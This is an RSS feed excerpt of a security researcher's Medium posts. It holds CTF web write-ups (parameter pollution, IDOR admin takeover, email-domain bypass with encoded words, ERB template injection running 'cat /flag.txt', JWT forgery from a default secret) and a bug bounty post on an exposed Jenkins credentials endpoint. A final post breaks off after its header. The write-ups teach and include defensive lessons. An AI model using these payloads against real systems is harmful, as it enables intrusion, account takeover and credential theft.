            <content:encoded><![CDATA[<h3>VulnBank — FahemSec Web Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eHZXhJMuTo_BpyXL" /></figure><h3><strong>بسم الله الرحمن الرحيم</strong></h3><p>Hello everyone, in this article, I will be sharing my solution for the <strong>VulnBank</strong> web challenge. This challenge was quite interesting as it involved chaining multiple vulnerabilities, specifically <strong>HTTP Parameter Pollution</strong> and a <strong>Logic Flaw</strong> leading to an <strong>IDOR</strong>, to achieve a <strong>full account takeover</strong>.</p><h3>Stage 1: Getting the Money</h3><p>Upon opening the challenge, I was met with a <strong>registration page</strong>. I created an account and noticed that every newly generated user starts with a default balance of <strong>$100</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7--m88qchH_j9V5m85ErGg.png" /></figure><p>The goal was to acquire $10,000,000. My first thought was to script a bot to automate the creation of thousands of accounts and transfer their $100 starting balances to my main account. However, doing the math, that would require creating an unreasonable number of accounts (<em>100,000 accounts</em>).</p><p>I knew there had to be a more elegant solution. <strong>What confirmed my theory further was the state of the application.</strong> When I checked the list of accounts I could transfer money to, I noticed there were fewer than 100 accounts in total. If the intended solution involved mass account creation, or even if other players had solved it using that method, there should have been significantly more accounts registered.</p><p>This observation made it clear that creating thousands of users was not the intended path, and I needed to look for a more technical vulnerability.</p><h4>The Real Vulnerability: HTTP Parameter Pollution</h4><p>I looked at the source code, specifically in src/Services/TransactionService.php, and I found how the transaction URL is constructed:</p><pre>$url = &quot;$internalApiUrl?reference_number=$reference&amp;from_account=$fromAccount&amp;to_account=$toAccount&amp;amount=$amount&quot;;</pre><p>I noticed that the $reference variable is placed as the very first parameter in the query string. This is a classic setup for <strong>HTTP Parameter Pollution</strong>. Since the server constructs the URL by simple string concatenation, we can inject additional parameters into the reference_number field.</p><p>If the backend processes the first occurrence of a parameter or if the internal API behaves in a way that prioritizes injected parameters, we can manipulate the request to overwrite the intended amount. So by crafting a simple payload and injecting it in the value of reference_number in the request that handles transferring money, I was able to transfer $10,000,000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5te6EeAwLV-Obf5cBup3sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1p94HJK98bisfy_M9Wnk0Q.png" /><figcaption>I had $101 at the end because the account starts with a $100 and because I sent $1 at the beginning to capture the request and send it to the Repeater</figcaption></figure><h3>Stage 2: Taking Over the Admin</h3><p>After securing the funds, the next goal was to access the Admin account (<em>I found there was an Admin account in the SQL config file</em>). I started by creating a <strong>SubUser</strong>(<em>simply an account that lies beneath your control</em>) account. The application allows you to edit your SubUser’s name and password.</p><p>When editing the SubUser’s name, I captured the request and noticed an id parameter. Naturally, I tried to change this ID to test for <strong>IDOR</strong> (Insecure Direct Object Reference).</p><ul><li>Changing the ID while editing the <strong>Password</strong> didn’t work.</li><li>Changing the ID while editing the <strong>Name</strong> worked!</li></ul><p>I discovered an important detail while trying to change the name of different IDs. When I attempted to change the username for a random, non-existent ID, the server returned a <strong>400 Bad Request</strong>. However, if the ID was real, it returned a <strong>200 OK</strong>. Unlike the password changing endpoint, it returned <strong>403 Forbidden </strong>if the user wasn’t actually a <strong>SubUser</strong> to me, and returned <strong>200 OK</strong> if he was.</p><h4>Analyzing the Logic</h4><p>I dug into the code to see how these status codes were generated. The editSubUser method in src/Controllers/UserController.php handles the request validation:</p><pre>public function editSubUser($data,$user){<br>    if(!isset($data[&#39;id&#39;]) || !isset($data[&#39;newName&#39;])) {<br>        // Notice the error code here, it&#39;s just 400 Bad Request<br>        http_response_code(400);<br>        return json_encode([&quot;status&quot; =&gt; &quot;error&quot;, &quot;message&quot; =&gt; &quot;Enter All Fields&quot;]);<br>    }<br><br>    // Changes the name for that id that you chose<br>    $service = new UsersService();<br>    return $service-&gt;editSubUser($data[&#39;id&#39;],$data[&#39;newName&#39;],$user-&gt;getId());<br>}</pre><p>This confirmed the loose validation logic. But the <strong>real</strong> flaw was in what happens next. The controller calls the repository, which contains the critical logic error:</p><pre>public function editSubUser($id, $name, $OwnerId) {<br>    UsersRepository::editSubUser($id, $name);<br>    return UsersRepository::EnsureEditUserAuthority($id, $OwnerId);<br>}</pre><p>And here is EnsureEditUserAuthority in src/Repositories/UsersRepository.php:</p><pre>public static function EnsureEditUserAuthority($id, $OwnerId){<br>    $query = &quot;UPDATE users SET OwnerId = ? WHERE UserId = ?&quot;;<br>    $connection = DB::getInstance();<br>    $statement = $connection-&gt;getConnection()-&gt;prepare($query);<br>    $statement-&gt;bind_param(&quot;dd&quot;, $OwnerId, $id);<br>    $statement-&gt;execute();<br>    return $statement-&gt;get_result();<br>}</pre><p>Instead of checking if I have authority, this function actually <strong>gives</strong> me authority! It updates the OwnerId of the target UserId (the id I supplied) to match my OwnerId.</p><p>This means if I change the name of a <strong>SubUser</strong> and supply the <strong>Admin’s ID</strong>, the application runs EnsureEditUserAuthority(), effectively transferring ownership of the Admin account to me. The Admin becomes my SubUser. Then, I can just change Admin’s password and get the flag.</p><h4>How is changing the password of the SubUser any different?</h4><p>The application has a security check when you try to change a password. In src/Controllers/UserController.php, it verifies if the user belongs to you, however, the application doesn’t verify if the user belongs to you when you try to change the username. Here’s the code implementation:</p><pre>$userSub = $user-&gt;getOwnedUsers();<br>$validUser = false;<br>foreach($userSub as $entry) {<br>    if($entry[&#39;Id&#39;] === $data[&#39;id&#39;]){<br>        $validUser = true;<br>        break;<br>    }<br>}<br><br>if(!$validUser) {<br>    http_response_code(403);<br>    return json_encode([&quot;status&quot; =&gt; &quot;error&quot;, &quot;message&quot; =&gt; &quot;This is not your user&quot;]);<br>}</pre><blockquote>Pay attention to the response code, it’s 403 here, earlier it was 400 <strong>if you tried to change the name of a user that didn’t exist</strong>.</blockquote><p>Initially, I couldn’t change the Admin’s password because validUser would be false. But, because the editSubUser logic flaw allowed me to make the Admin my SubUser, the getOwnedUsers() check now includes the Admin account. validUser becomes true, and I can reset the Admin&#39;s password.</p><h4>Summary</h4><blockquote>In a nutshell, the application’s vulnerability in this stage lies in the logic where it accepts changing of username to any <strong>SubUser</strong> using his ID without verifying your ownership to it, but changing passwords was verified to your ownership, that’s why we needed firstly to change the name of the Admin’s account, and then change his password.</blockquote><h3>Solution Steps</h3><p>Here is the summary of the exploitation path:</p><ol><li><strong>Register an account</strong> (starts with $100).</li><li><strong>Create a second account</strong> to act as the receiver.</li><li><strong>Transfer money</strong> to the first account using HTTP Parameter Pollution in the “Reference Number” field (appending &amp;amount=10000000).</li><li><strong>Add a SubUser</strong> under your account.</li><li><strong>Capture the “Edit Name” request</strong> for the SubUser.</li><li><strong>Change the ID</strong> in the request to the Admin’s ID (<em>you can find it in the SQL config file</em>).</li><li>The Admin account is now linked to you as a SubUser due to the EnsureEditUserAuthority flaw.</li><li><strong>Change the Admin’s password</strong>.</li><li><strong>Login as Admin</strong> and retrieve the flag.</li></ol><h3>Spaghetti Logic: The Art of Self-Pwnage</h3><p>One major takeaway from this challenge is how absolute spaghetti code can lead to easy pwns. The developer here clearly had a massive “skill issue” and violated the Single Responsibility Principle (SRP), the “S” in SOLID from SOLID Principles.</p><h4>What is the Single Responsibility Principle?</h4><p>SRP basically says that a function or class should have one job and do it right. It shouldn’t be trying to multitask like a chaotic mess.</p><p>The developer messed up while writing the function EnsureEditUserAuthority(). It confuses three completely different jobs:</p><ol><li>Checking: The name “Ensure” sounds like it should just check if you have permission.</li><li>Changing: The actual code updates the database to <strong>give</strong> you permission.</li><li>Multiple Jobs: As we saw earlier, the controller recklessly ran both editSubUser() (<em>to change the name</em>) and EnsureEditUserAuthority() (<em>to nuke the permissions</em>) from a single parent function.</li></ol><p>By mixing the “Check” and the “Update,” and chaining multiple critical methods into one janky workflow, they created a <strong>logic bomb</strong>. If they had followed SRP, they would have written a separate method such as checkUserAuthority() (<em>to strictly return a boolean</em>) and grantUserAuthority() (<em>to update the DB</em>).</p><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Personal_Website</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=052d97561cbf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BugZzzz — FahemSec Web Challenge]]></title>
            <link>https://mohammadibnibrahim.medium.com/bugzzzz-fahemsec-web-challenge-422c15c539b9?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/422c15c539b9</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 01:03:44 GMT</pubDate>
            <atom:updated>2026-01-04T01:03:44.984Z</atom:updated>
            <content:encoded><![CDATA[<h3>BugZzzz — FahemSec Web Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RDW77ul9veGuFFsP" /></figure><h3><strong>بسم الله الرحمن الرحيم</strong></h3><h3>Introduction</h3><p>In this challenge, I successfully bypassed strict domain matching to create an account and ultimately achieved Remote Code Execution (RCE) via Server-Side Template Injection (SSTI). If you aren’t familiar with these acronyms yet, don’t worry, follow along, and I will explain the concepts as we go.</p><h3>Reconnaissance &amp; Application Testing</h3><p>Upon accessing the application, I was greeted by a standard login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*n645RWF_c1xHbN6xTWjM4A.png" /></figure><p>Noticing a registration button at the bottom, I navigated there to create an account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*0iu41CKWOCqBtnk7503ZjQ.png" /></figure><p>During my initial attempts, I discovered that the application enforces a strict whitelist: only emails ending in the domain @fahemsec.ctf are allowed to register. I attempted to use any random email, but even if the registration step passed validation, the login failed because the account required activation (<em>as noted on the registration page</em>).</p><h3>Source Code Review</h3><p>When black-box testing hits a wall, I like to dig into the source code to identify the exact vulnerability, the source makes everything clear.</p><blockquote><strong><em>Tip:</em></strong><em> Learning to code will significantly boost your security research performance. Even if you only learn the basics of one language, the logic often translates across others. I highly recommend investing time in learning to code.</em></blockquote><p>I identified app.rb as the core application file. The .rb extension indicates the application is built using <strong>Ruby</strong>. I located the following validation logic:</p><pre>allowed_domains = [&#39;fahemsec.ctf&#39;]<br><br>if !allowed_domains.include?(domain)<br>  status 400<br>  return json({ <br>    success: false, <br>    message: &#39;Registration failed! Email must end with @fahemsec.ctf &#39;,<br>    email_sent: false <br>  })<br>end</pre><p>This code explicitly checks if the supplied email ends with @fahemsec.ctf.</p><h3>The Null Byte Attempt</h3><p>My first thought was to use a null byte injection. A null byte (%00) is often interpreted by systems as the “end of input.” I attempted a payload like:</p><p>mohammad@myemail.com%00@fahemsec.ctf</p><p>The logic was that the database might stop reading at %00 (storing mohammad@myemail.com), while the validator would see the required @fahemsec.ctf suffix. Unfortunately, this trick did not work, necessitating a more complex approach.</p><h3>Back to the Source Code</h3><p>I discovered two interesting endpoints in the source code: /getMailAddress and /getMails.</p><ul><li>/getMailAddress<strong>:</strong> Generates a temporary email address for you.</li><li>/getMails<strong>:</strong> Retrieves emails sent to that address.</li></ul><p><strong>The catch:</strong> The temporary emails generated have the domain @example.com, but the application requires @fahemsec.ctf. We needed a way to force the application to accept the @example.com address while fooling the validator into seeing @fahemsec.ctf.</p><h3>The Brilliant Exploit: RFC 2047 Encoded-Words</h3><p>The vulnerability lay in how the application parses email headers. I utilized an <strong>Encoded-Word</strong> payload to mask the input.</p><p>The Payload:</p><p>=?utf-8?q?username=40example.com=3e=20?=@fahemsec.ctf</p><p>This payload allows us to register with a valid structure while satisfying the domain check. Let’s break down exactly how this works:</p><ul><li>=? → Indicates the start of an encoded word.</li><li>utf-8 → Specifies the character set.</li><li><strong>?</strong> → Separator used between fields.</li><li>q → Signifies &quot;Q-Encoding&quot; (<em>Hex with an “=” prefix</em>).</li><li>username → The actual username part of the email.</li><li>=40 → Hex representation for @.</li><li>example.com → The domain we actually possess (obtained from /getMailAddress).</li><li>=3e=20 → Hex representation for “&gt; ” (Right angle bracket and a space).</li><li>@fahemsec.ctf → The domain required by the validator to pass the check.</li></ul><p>The mail parser decodes the first section into &quot;username@example.com&gt; &quot;, effectively treating the required suffix (@fahemsec.ctf) as ignored text or a display name, while the validator simply sees the suffix it expects.</p><p>I registered using this payload, ensuring the username matched the one provided by /getMailAddress, and successfully bypassed the restriction.</p><h3>Gaining Access &amp; Identifying SSTI</h3><p>The exploit worked, and I was able to log in! However, the flag was not visible on the dashboard, nor was it in any hidden endpoints found in the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-N94uhksPIUp8kD3uyyUvA.png" /></figure><p>I noticed two critical details in the provided challenge files:</p><ol><li><strong>File Extensions:</strong> The files in Bugz/views/* ended in .erb. This stands for <strong>Embedded Ruby</strong>, a templating engine.</li><li><strong>Reflection:</strong> My username was being printed directly onto the dashboard in the top right corner (“MyUsername”).</li></ol><p>This combination strongly suggested a <strong>Server-Side Template Injection (SSTI)</strong> vulnerability.</p><blockquote>What is SSTI?</blockquote><blockquote>SSTI occurs when an application embeds user input into a template without proper sanitization. This allows an attacker to inject template directives which are executed by the server. In this scenario, we can escalate this to <strong>RCE (Remote Code Execution)</strong> to run system commands, such as reading the flag file.</blockquote><h3>The Final Exploit Chain</h3><p>To retrieve the flag, we need to inject Ruby code into our username field during registration.</p><p>The SSTI Payload:</p><p>&lt;%= IO.popen(‘cat /flag.txt’).read %&gt;</p><p>This code uses Ruby’s IO.popen method to execute the system command cat /flag.txt and reads the output.</p><h4>Step-by-Step Execution</h4><p>Here is the final consolidated exploit chain:</p><ol><li><strong>Username</strong>: We need a username that contains the malicious code. I also appended random data to ensure uniqueness in case other users had already tried the basic payload.</li></ol><ul><li><strong>Payload</strong>: &lt;%= IO.popen(‘cat /flag.txt’).read %&gt; &lt;%= 0000 %&gt;</li><li><em>(Note: &lt;%= 0000 %&gt; is just dummy data to avoid “Username taken” errors).</em></li></ul><p>2. <strong>Email</strong>: Construct the encoded email string using the username from step 1 and the domain from /getMailAddress.</p><ul><li><strong>Payload:</strong> =?utf-8?q?YOUR_USERNAME=40example.com=3e=20?=@fahemsec.ctf</li></ul><p>3. <strong>Register</strong>: Sign up using the crafted username and the encoded email payload. Use any password you like.</p><p>4. <strong>Activate</strong>: Visit /getMails to retrieve the activation link and verify your account.</p><p>5. <strong>Login</strong>: Log in using the <strong>full encoded email payload</strong> and your chosen password.</p><p>6. <strong>Retrieve Flag</strong>: Look at the top right corner of the dashboard. The Ruby code in your username has been executed, and the flag is now displayed!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3wgBjUGVbH_5fCw3Fb_u2Q.jpeg" /></figure><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Personal_Website</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=422c15c539b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Night at the Museum — FahemSec Web Challenge]]></title>
            <link>https://mohammadibnibrahim.medium.com/night-at-the-museum-fahemsec-web-challenge-f2d6f8536bea?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2d6f8536bea</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 02:07:34 GMT</pubDate>
            <atom:updated>2025-12-24T02:07:34.711Z</atom:updated>
            <content:encoded><![CDATA[<h3>Night at the Museum — FahemSec Web Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZpA1lBWfOnrncmXu" /></figure><h3>بسم الله الرحمن الرحيم</h3><h3>Introduction</h3><p>In this challenge, I exploited a common configuration oversight, a <strong>hardcoded JWT secret</strong>, to escalate my privileges and retrieve a protected flag. By analyzing the source code, I was able to bypass the application’s ticket system and impersonate an administrator.</p><h3>Source Code Review</h3><p>Before testing the live application, I reviewed the source code and found something interesting in `backend/src/config/index.js`:</p><pre>const config = {<br>  port: process.env.PORT || 3000,<br>  jwtSecret: process.env.JWT_SECRET || &#39;your-secret-key-change-in-production&#39;,<br>  jwtExpiresIn: process.env.JWT_EXPIRES_IN || &#39;24h&#39;,<br>  dbPath: process.env.DB_PATH || path.join(__dirname, &#39;..&#39;, &#39;pharaonic.db&#39;),<br>  corsOrigin: process.env.CORS_ORIGIN || &#39;*&#39;<br>};</pre><p>That hardcoded JWT secret ’your-secret-key-change-in-production’ is a significant finding. The auth middleware in middleware/auth.middleware.js uses the same secret:</p><pre>jwt.verify(token, process.env.JWT_SECRET || &#39;your-secret-key-change-in-production&#39;, (err, user) =&gt; {</pre><p>This means if we know the secret, we can forge valid JWT tokens. I noted this for later.</p><h3>Exploring the Application</h3><h4>Registration &amp; Login</h4><p>Created an account at /register:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Xgf5_TIo1pq-dYEdntTDA.png" /></figure><p>After logging in at /login, I got access to the dashboard:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BafDPvDgzPWgSC3eW0ccNg.png" /></figure><p>The museum has several rooms with different prices:</p><ul><li><strong>Chamber of Tutankhamun</strong> — 250 coins</li><li><strong>Hall of Nefertiti</strong> — 300 coins</li><li><strong>Pyramid of Khufu</strong> — 500 coins</li><li><strong>Tomb of Cleopatra</strong> — 350 coins</li><li><strong>Chamber of Anubis</strong> — 450 coins</li><li><strong>Horus and the Eye</strong> — 380 coins <em>(Currently Closed)</em></li></ul><p>The last room is closed, and it should be where the flag is stored because it says “Admin Only” and because the flag is clearly in it as I saw in database.js while I was reading the challenge files.</p><h4>Testing QR Code Generation</h4><p>Purchased a ticket and entered the first room. Got this QR code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4tQ3mOM0RnlY0KZaKZh1Kg.png" /></figure><p>When I scanned it, it returned JSON data that had my userId and roomId</p><p>Looking at controllers/qrcode.controller.js, the QR code is generated dynamically:</p><pre>const qrData = {<br>  userId,<br>  roomId<br>}<br>const qrCodeDataURL = await QRCode.toDataURL(JSON.stringify(qrData), options);</pre><p>I tried changing the roomId parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wpU2BxMgDHSVowHiY-C9w.png" /></figure><p>Attempted to access room 7 (Horus room):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLI1t7WL-EsRE9r-H-s0tQ.png" /></figure><p>This didn’t work. The application checks if the room is open and if you have a valid ticket. The Horus room has `is_open: 0` in the database:</p><pre>{ id: 7, name: &#39;Horus and the Eye&#39;, description: &#39;...&#39;, price: 380, is_open: 0 }</pre><p>However, other rooms had is_open: 1.</p><p>The enterRoom function in rooms.controller.js requires either a valid ticket OR admin privileges:</p><pre>if (isAdmin) return proceed();<br><br>dbHelper.hasTicket(userId, roomId, (err, has) =&gt; {<br>  if (err) return next(err);<br>  if (!has) return res.status(403).json({ error: &#39;Ticket required to enter this room&#39; });<br>  return proceed();<br>});</pre><p>Key observation: <strong>admins bypass all ticket checks</strong>.</p><h3>Dead Ends</h3><h4>CORS</h4><p>Noticed Access-Control-Allow-Origin: * in responses:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rh9HKL6tc1g1AB9oF_HqRw.png" /></figure><p>Tested for CORS exploitation but `Access-Control-Allow-Credentials: true` wasn’t present. Not exploitable.</p><h4>promoteToAdmin Function</h4><p>Found this in auth.controller.js:</p><pre>async promoteToAdmin(req, res, next) {<br>  try {<br>    if (!req.user || !req.user.is_admin) return res.status(403).json({ error: &#39;Admin access required&#39; });<br>    const userId = req.params?.id;<br>    // ... promotes user to admin<br>  }<br>}</pre><p>Route exists in admin.router.js:</p><pre>router.get(&#39;/promote/:id&#39;, wrapAsync(adminController.promoteToAdmin));</pre><p>But you need to already be admin to use it, not useful.</p><h3>JWT Forgery</h3><p>Back to the JWT secret finding. Every request carries a JWT token in the Authorization header. Decoded it at <a href="https://jwt.io/">jwt.io</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iEGTy-aE70koa2ls35dVSQ.png" /></figure><p>Token payload:</p><pre>{<br>  &quot;id&quot;: 2,<br>  &quot;username&quot;: &quot;myuser&quot;<br>}</pre><p>From database.js, I know:</p><ul><li>Admin’s username is admin</li><li>Admins bypass all ticket checks</li></ul><h4>Forging the Token</h4><p>Used JWT Encoder to create a forged token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CcVuaRAEvkRZrga1Ah1fEw.png" /></figure><p><strong>Modified values:</strong></p><ul><li>id: 1 (I assumed admin’s ID)</li><li>username: admin</li><li><strong>Secret</strong>: your-secret-key-change-in-production</li></ul><h3>Getting the Flag</h3><p>With the forged admin JWT:</p><ol><li>Replaced the Authorization header with the forged token</li><li>Made a request to enter any room</li><li>Intercepted with Burpsuite and changed the roomId to 7</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j6DJD76hCq_1iy55S9OYdQ.png" /></figure><p><strong>Got the flag!</strong></p><p>The enterRoom function saw req.user.is_admin as true, bypassed the ticket check, and returned the secret from room 7.</p><h3>Attack Chain</h3><pre>┌─────────────────────────────────────────────────────────────────┐<br>│  1. Source Code Review                                          │<br>│     └─&gt; Found hardcoded JWT secret fallback                     │<br>├─────────────────────────────────────────────────────────────────┤<br>│  2. JWT Token Analysis                                          │<br>│     └─&gt; Decoded token, identified user ID and username fields   │<br>├─────────────────────────────────────────────────────────────────┤<br>│  3. Token Forgery                                               │<br>│     └─&gt; Forged new JWT with id:1, username:&quot;admin&quot;              │<br>├─────────────────────────────────────────────────────────────────┤<br>│  4. Privilege Escalation                                        │<br>│     └─&gt; Admin bypass in enterRoom() allowed access to room 7    │<br>├─────────────────────────────────────────────────────────────────┤<br>│  5. Flag Retrieved                                              │<br>│     └─&gt; Secret from &quot;Horus and the Eye&quot; room = FLAG             │<br>└─────────────────────────────────────────────────────────────────┘</pre><h3>Key Takeaways</h3><h4>For Red Team / Web CTF Players</h4><p>1. <strong>Source Code Review is Critical</strong>: Always check config files and authentication middleware first. Look for mistakes like hardcoded plain-text JWT secret, which are common developer mistakes.<br>2. <strong>JWT Analysis</strong>: Decode the token immediately to understand the schema (id, username, role) and identify potential privilege escalation vectors (IDOR, role tampering).<br>3. <strong>Privilege Escalation Paths</strong>: Once you have a potential vulnerability (like forced admin), look for where that privilege is checked. In this case, is_admin bypassed business logic checks (payment/ticket validation), which is a common pattern because obviously it’s the admin, so he can access anything.</p><h4>For Blue Team / Developers</h4><p>1. <strong>Secret Management</strong>: Never hardcode secrets, even as mistakes.<br>2. <strong>Defense in Depth</strong>: Admin privileges shouldn’t automatically bypass all business logic checks. Even admin accounts must be monitored for any unusual activity.<br>3. <strong>Secure Defaults</strong>: Ensure that critical security configurations (like is_open flags or access controls) are hacker-proof. The fact that the “Horus” room was closed but accessible to admins without a ticket highlights a logic flaw where authorization scope was too broad and allowed the admin to access any room even if that room was disabled originally.</p><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Personal_Website</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2d6f8536bea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I hacked a Jenkins endpoint and leaked critical information]]></title>
            <link>https://mohammadibnibrahim.medium.com/how-i-hacked-a-jenkins-endpoint-and-leaked-critical-information-87097f21789c?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/87097f21789c</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Wed, 17 Dec 2025 05:38:31 GMT</pubDate>
            <atom:updated>2025-12-17T05:42:11.693Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7yd9tJY7SpcjCDxZ2Zq7w.png" /></figure><h3>بسم الله الرحمن الرحيم</h3><p>In this writeup, I will demonstrate how a specific misconfiguration in a certain technology used by the application led to the exposure of critical sensitive information on a web application.</p><h3>Phase 1: Reconnaissance and Discovery</h3><p>My standard methodology involves a hybrid approach: automated directory scanning paired with manual verification. For this target, I initiated a directory brute-force scan using <strong>ffuf</strong> against target.com and left the process running in the background.</p><p>Upon reviewing the results, one directory stood out immediately:</p><p><a href="https://target.com/jenkins">https://target.com/jenkins</a></p><p>Navigating to this URL revealed a standard Jenkins login page. I immediately began further enumeration on this directory. While I identified several promising endpoints, the server was correctly configured to restrict access, returning <strong>403 Forbidden</strong> errors for most standard paths.</p><h3>Phase 2: The Pivot</h3><p>At this stage, a hunter generally has two options:</p><ol><li>Attempt generic 403 bypass techniques (<em>trying paths with different cases</em>).</li><li>Research technology-specific vectors designed for the software in use.</li></ol><p>I opted for the latter. Recognizing that Jenkins has a vast attack surface, I searched on google for Jenkins exploitation techniques.</p><blockquote>Note: I remember finding a hacktricks notes that gave multiple techniques for exploiting Jenkins, but sadly I can’t find it anymore now.</blockquote><h3>Phase 3: Exploitation</h3><p>My research pointed me toward a specific endpoint related to the credential store, which does not always inherit the correct permissions structure.</p><p>I navigated to: <a href="https://target.com/jenkins/credentials/store/system/domain/_/">https://target.com/jenkins/credentials/store/system/domain/_/</a></p><p><strong>The Result:</strong> The server returned a <strong>200 OK</strong> response. The page displayed critical internal data, including:</p><ul><li>An active access token.</li><li>An SSH username.</li><li>The associated SSH private key.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G6DLqNwEVbCgF5E7V1o0eA.jpeg" /></figure><h3>Impact and Reporting</h3><p>The exposure of SSH keys and access tokens poses a critical risk, potentially allowing an attacker to gain shell access to the server or compromise the deployment pipeline.</p><p>I immediately submitted a report detailing the findings. The vulnerability was accepted and triaged as <strong>P3 (Medium)</strong> severity. Although it was marked as a duplicate, it served as a strong reminder that even locked-down applications can leak data through obscure, default endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*Xb4NsRZgQTjV-oRULl42cg.jpeg" /></figure><h3>Key Takeaways</h3><ul><li><strong>Research the Technology:</strong> When you encounter a specific application (like Jenkins, Jira, or WordPress), search for vulnerabilities specific to that software rather than just standard web vulnerabilities.</li><li><strong>The Power of Hybrid Testing:</strong> Use automation to find the door, but use manual hacking to unlock it. Relying on only one approach leaves blind spots in your reconnaissance or testing generally.</li></ul><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Personal_Website</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87097f21789c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IOT Connect Writeup — MobileHackingLab]]></title>
            <link>https://mohammadibnibrahim.medium.com/iot-connect-writeup-mobilehackinglab-3e3bd5079636?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e3bd5079636</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Fri, 05 Dec 2025 04:26:28 GMT</pubDate>
            <atom:updated>2025-12-05T09:42:44.351Z</atom:updated>
